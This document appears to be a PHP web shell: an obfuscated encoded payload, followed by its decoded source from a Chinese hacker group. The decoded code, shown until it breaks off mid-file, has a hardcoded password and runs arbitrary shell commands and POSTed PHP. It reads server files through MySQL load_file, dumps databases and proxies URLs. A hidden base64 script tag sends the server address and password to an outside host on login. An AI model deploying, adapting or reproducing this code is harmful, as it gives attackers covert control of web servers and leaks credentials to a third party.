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")))?>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
=======================================decode after http://decode.cnxct.com/ ==================================
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<?php
|
||
$admin['pass'] = "yyihacker";
|
||
$notice = "::{ Silic Group 黑客作战营 }:: 淫荡插旗组";
|
||
$myneme = "网站后台管理";
|
||
error_reporting(7);
|
||
ob_start();
|
||
$mtime = explode(' ', microtime());
|
||
$starttime = $mtime[1] + $mtime[0];
|
||
@set_time_limit(0);
|
||
//<2F>ǰ<EFBFBD>ȫģʽ<C4A3><CABD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱȡ<CAB1><C8A1><EFBFBD><EFBFBD>
|
||
/*===================== <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> =====================*/
|
||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤,1Ϊ<31><CEAA>Ҫ<EFBFBD><D2AA>֤,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊֱ<CEAA>ӽ<EFBFBD><D3BD><EFBFBD>.<2E><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||
$admin['check'] = "1";
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤,<2C><><EFBFBD>ĵ<DEB8>½<EFBFBD><C2BD><EFBFBD><EFBFBD>
|
||
//Ĭ<>϶˿ڱ<CBBF>
|
||
$hidden = "44997";
|
||
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
|
||
//<2F><>ת<EFBFBD>õ<EFBFBD><C3B5><EFBFBD>
|
||
$admin['jumpsecond'] = "1";
|
||
//Ftp<74>ƽ<EFBFBD><C6BD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>Ӷ˿<D3B6>
|
||
$alexa = "yes";
|
||
//<2F>Ƿ<EFBFBD><C7B7><EFBFBD>ʾalexa<78><61><EFBFBD><EFBFBD><EFBFBD><EFBFBD>yes<65><73><EFBFBD><EFBFBD>no
|
||
$admin['ftpport'] = "21";
|
||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>phpspy<70><79><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>ı༭<C4B1><E0BCAD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ʱ<EFBFBD><CAB1>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>(yes/no)
|
||
$retime = "no";
|
||
// Ĭ<><C4AC>cmd.exe<78><65>λ<EFBFBD><CEBB>,proc_open<65><6E><EFBFBD><EFBFBD>Ҫʹ<D2AA>õ<EFBFBD>,linuxϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>Ӧ<EFBFBD><EFBFBD>.(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>winntϵͳ<CFB5>ڳ<EFBFBD><DAB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>)
|
||
$cmd = "cmd.exe";
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>phpspy<70><79>ʾ<EFBFBD><CABE>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ܶ<EFBFBD><DCB6><EFBFBD><EFBFBD><EFBFBD><F2B5B1B3><EFBFBD>Ϊ<EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>ɱ<EFBFBD>ˣ<EFBFBD><CBA3>㺮~~<7E><><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ɡ<EFBFBD><C9A1><EFBFBD><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~~
|
||
|
||
/*===================== <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD> =====================*/
|
||
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
|
||
$serverp = $admin['pass'];
|
||
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9');
|
||
$copyurll = base64_decode('Jz48L3NjcmlwdD4=');
|
||
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
|
||
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
|
||
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");
|
||
/*===================== <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤ =====================*/
|
||
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";echo "<span style=\"font-size: 12px; font-family: Verdana\">ע<><D7A2><EFBFBD>ɹ<EFBFBD>......<p><a href=\"".$self."\"><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>˳<EFBFBD><CBB3><EFBFBD><F2B5A5BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>></a></span>";exit;}
|
||
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."</form>";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
|
||
/*===================== <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD> =====================*/
|
||
// <20>ж<EFBFBD> magic_quotes_gpc ״̬
|
||
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
|
||
//mix.dll<6C>Ĵ<EFBFBD><C4B4><EFBFBD>
|
||
$mixdll = "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";
|
||
|
||
function shelL($command){
|
||
global $windows,$disablefunctions;
|
||
$exec = '';$output= '';
|
||
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
|
||
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
|
||
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
|
||
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
|
||
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
|
||
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
|
||
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
|
||
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
|
||
return $exec;
|
||
}
|
||
// <20>鿴PHPINFO
|
||
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() <20><><EFBFBD><EFBFBD><EFBFBD>ѱ<EFBFBD><D1B1><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>鿴<PHP<48><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>";exit;
|
||
}if($_GET['action'] == "nowuser") {$user = get_current_user();
|
||
if(!$user) $user = "<22><><EFBFBD>泤<EFBFBD>٣<EFBFBD><D9A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>";
|
||
echo"<22><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>$user";
|
||
exit;
|
||
}
|
||
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]<?");exit;
|
||
}
|
||
if($action=="mysqldown"){
|
||
$link=@mysql_connect($host,$user,$password);
|
||
if (!$link) {
|
||
$downtmp = '<27><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>: ' . mysql_error();
|
||
}else{
|
||
$query="select load_file('".$filename."');";
|
||
$result = @mysql_query($query, $link);
|
||
if(!$result){
|
||
$downtmp = "<22><>ȡʧ<C8A1>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD>ûfileȨ<65>ޡ<EFBFBD><br>".mysql_error();
|
||
}else{
|
||
while ($row = mysql_fetch_array($result)) {
|
||
$filename = basename($filename);
|
||
if($rardown=="yes"){
|
||
$zip = NEW Zip;
|
||
$zipfiles[]=Array("$filename",$row[0]);
|
||
$zip->Add($zipfiles,1);
|
||
$code = $zip->get_file();
|
||
$filename = "".$filename.".rar";
|
||
}else{
|
||
$code = $row[0];
|
||
}
|
||
header("Content-type: application/octet-stream");
|
||
header("Accept-Ranges: bytes");
|
||
header("Accept-Length: ".strlen($code));
|
||
header("Content-Disposition: attachment;filename=$filename");
|
||
echo($code);
|
||
exit;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
// <20><><EFBFBD>ߴ<EFBFBD><DFB4><EFBFBD>
|
||
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b><3E><>ȡ URL <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7></b></p></center></body>";exit;
|
||
}
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "<script>alert('<27><>Ҫ<EFBFBD>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!')</script>";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
|
||
}
|
||
// ֱ<><D6B1><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>
|
||
if ($_POST['backuptype'] == 'download') {
|
||
@mysql_connect($servername,$dbusername,$dbpassword) or die("<22><><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||
@mysql_select_db($dbname) or die("ѡ<><D1A1><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>ʧ<EFBFBD><CAA7>");
|
||
$table = array_flip($_POST['table']);
|
||
$result = mysql_query("SHOW tables");
|
||
echo ($result) ? NULL : "<22><><EFBFBD><EFBFBD>: ".mysql_error();
|
||
|
||
$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
|
||
header('Content-type: application/unknown');
|
||
header('Content-Disposition: attachment; filename='.$filename);
|
||
$mysqldata = '';
|
||
while ($currow = mysql_fetch_array($result)) {
|
||
if (isset($table[$currow[0]])) {
|
||
$mysqldata.= sqldumptable($currow[0]);
|
||
$mysqldata.= $mysqldata."\r\n";
|
||
}
|
||
}
|
||
mysql_close();
|
||
exit;
|
||
}
|
||
|
||
// <20><><EFBFBD><EFBFBD>Ŀ¼
|
||
$pathname=str_replace('\\','/',dirname(__FILE__));
|
||
$dirpath=str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]);
|
||
|
||
// <20><>ȡ<EFBFBD><C8A1>ǰ·<C7B0><C2B7>
|
||
if (!isset($dir) or empty($dir)) {
|
||
$dir = ".";
|
||
$nowpath = getPath($pathname, $dir);
|
